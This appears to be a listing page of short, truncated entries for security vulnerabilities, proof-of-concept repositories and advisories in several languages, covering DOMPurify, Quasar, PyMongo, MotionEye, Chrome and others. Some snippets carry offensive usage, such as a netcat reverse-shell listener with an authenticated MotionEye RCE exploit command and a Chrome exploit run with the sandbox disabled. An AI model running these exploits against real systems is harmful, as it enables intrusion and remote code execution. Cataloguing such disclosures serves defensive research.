CVE-2021-28378

CVE-2021-28378 Dettagli su questa CVE qui. Questa CVE riguarda la mancanza di escaping delle stringhe lato client per i contenuti recuperati dal server. Consente a un attaccante di iniettare facilmente codice arbitrario creando un commento su un issue o una pull request. È stata introdotta nel...

CVE-2020-28488

CVE-2020-28488 Denial of Service DoS - jQuery UI 1.12.1 - Exploit Payload for var i = 0; i DoS - jQuery UI 1.12.1 DoS - jQuery UI 1.12.1 Exploit PoC by Rafael Cintra Lopes function exploit for var i = 0; i Link di riferimento CVE-2020-28488 Snyk Report jQuery UI...

webvm

WebVM Questo repository ospita il codice sorgente di https://webvm.io, una macchina virtuale Linux che gira nel tuo browser. Prova il nuovo ambiente grafico Alpine / Xorg / i3: https://webvm.io/alpine.html WebVM è un ambiente virtuale senza server che gira interamente lato client in...

PublicSafe

PublicSafe Il tuo browser, il tuo spazio sicuro PublicSafe è un'estensione del browser gratuita e open-source incentrata su privacy, crittografia e controllo dell'utente. Fornisce strumenti di crittografia lato client progettati per aiutare gli utenti a proteggere le informazioni sensibili prima...

CVE-2024-48910-POC

CVE-2024-48910 Prova di concetto Questa è una prova di concetto per CVE-2024-48910. Si tratta di una vulnerabilità presente in DOMPurify, un sanitizer XSS per HTML, SVG e MathML. Questa versione di DOMPurify è vulnerabile alla contaminazione dei prototipi prototype pollution, in cui un attaccante...

CVE-2026-106101 Quasar Framework: DOM Clobbering in Quasar openURL() SafariViewController Integration Causes Client-Side Denial of Service

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.32.2, the openURL utility in ui/src/utils/open-url/open-url.js trusted window.SafariViewController whenever that global existed in an iOS environment. Attacker-controlled HTML rendered by components...

CVE-2026-106101

The Quasar Framework (prior to version 2.32.2 ) is vulnerable to a DOM Clobbering issue in the openURL() utility located in ui/src/utils/open-url/open-url.js. In an iOS environment, the utility incorrectly trusts window.SafariViewController if the global exists. An attacker can provide attacker-c...

CVE-2026-106101 Quasar Framework: DOM Clobbering in Quasar openURL() SafariViewController Integration Causes Client-Side Denial of Service

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.32.2, the openURL utility in ui/src/utils/open-url/open-url.js trusted window.SafariViewController whenever that global existed in an iOS environment. Attacker-controlled HTML rendered by components...

PyMongo: PYTHON-5990 Forced Unix domain socket connection via a .sock KMS endpoint in client-side field level encryption

Summary PyMongo passed the KMS endpoint of a data key verbatim into parsehost, which returns any string ending in .sock unchanged instead of validating it as a hostname and port. The driver's connection code then treats such an address as a Unix domain socket path and connects to it with AFUNIX...

GHSA-QX36-8MW2-4R3X PyMongo: PYTHON-5990 Forced Unix domain socket connection via a .sock KMS endpoint in client-side field level encryption

Summary PyMongo passed the KMS endpoint of a data key verbatim into parsehost, which returns any string ending in .sock unchanged instead of validating it as a hostname and port. The driver's connection code then treats such an address as a Unix domain socket path and connects to it with AFUNIX...

CVE-2022-46485

CVE-2022-46485 ngDoS - ngSurvey Note: la domanda "slider" potrebbe essere vulnerabile anche con un grande intero invece di una stringa. Non è stato possibile confermarlo nel mio ambiente locale. Passaggi per lo sfruttamento Aprire la pagina del sondaggio e individuare un campo di testo o commento...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticata in MotionEye = 0.43.1b4 tramite bypass della convalida lato client sul campo imagefilename. Utilizzo nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Opzioni Opzione| Descrizione ---|--- -t| Host/URL di destinazion...

vi-bot

BotDetect v2 — Libreria di Rilevamento Bot per Produzione Libreria client-side per il rilevamento di bot e automazione con punteggio ponderato, analisi comportamentale, fingerprinting del browser e soglie configurabili. Rileva browser headless, Selenium, Puppeteer, Playwright, strumenti basati su...

CVE-2023-45540

HTML-Injection...

CVE-2021-21220

Prima installa: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Versione Chrome: 90.0.4403.0 Installa chrome-win.zip 1. node server.js esegui ./chrome.exe --no-sandbox vai su localhost:8888 Nota che la CVE sfruttata da questo exploit è CVE...

CVE-2021-24891-Simulation

Eine praxisorientierte, containerisierte Laborumgebung zur Simulation und Ausnutzung einer DOM-basierten Cross-Site-Scripting XSS-Schwachstelle im Elementor Website Builder WordPress-Plugin, identifiziert als CVE-2021-24891. 📖 Über die Schwachstelle Dieses Labor demonstriert eine DOM-basierte...

cs-get-last-error

cs-get-last-error Ottieni i messaggi di errore dai codici di GetLastError direttamente all'interno del client Cobalt Strike senza l'aiuto di Google search, net helpmsg o Microsoft Error Lookup Tool. I messaggi di errore sono inclusi nell'aggressor script e non è richiesta alcuna interazione con i...

plution

plution Prototype pollution scanner using headless chrome What this is Plution is a convenient way to scan at scale for pages that are vulnerable to client side prototype pollution via a URL payload. In the default configuration, it will use a hardcoded payload that can detect 11 of the cases...

plution

plution 헤드리스 크롬을 사용한 프로토타입 오염 스캐너 개요 Plution은 URL 페이로드를 통해 클라이언트 측 프로토타입 오염에 취약한 페이지를 대규모로 스캔하는 편리한 방법입니다. 기본 설정에서는 다음 문서에 나와 있는 11가지 사례를 탐지할 수 있는 하드코딩된 페이로드를 사용합니다: https://github.com/BlackFan/client-side-prototype-pollution/tree/master/pp 이것이 아닌 것 이것은 만능 도구가 아닙니다. 프로토타입 오염은 복잡한 문제입니다. 이 도구는 수동으...

AlmaLinux 9.2 [TuxCare] Security Update: varnish / varnish-devel / varnish-docs Multiple Vulnerabilities (ALMALINUX9.2:CLSA-2025:1763374645)

The AlmaLinux 9.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1763374645 advisory. - Varnish Cache before 7.3.2 and 7.4.x before 7.4.3 and before 6.0.13 LTS, and Varnish Enterprise 6 before 6.0.12r6, allows credits...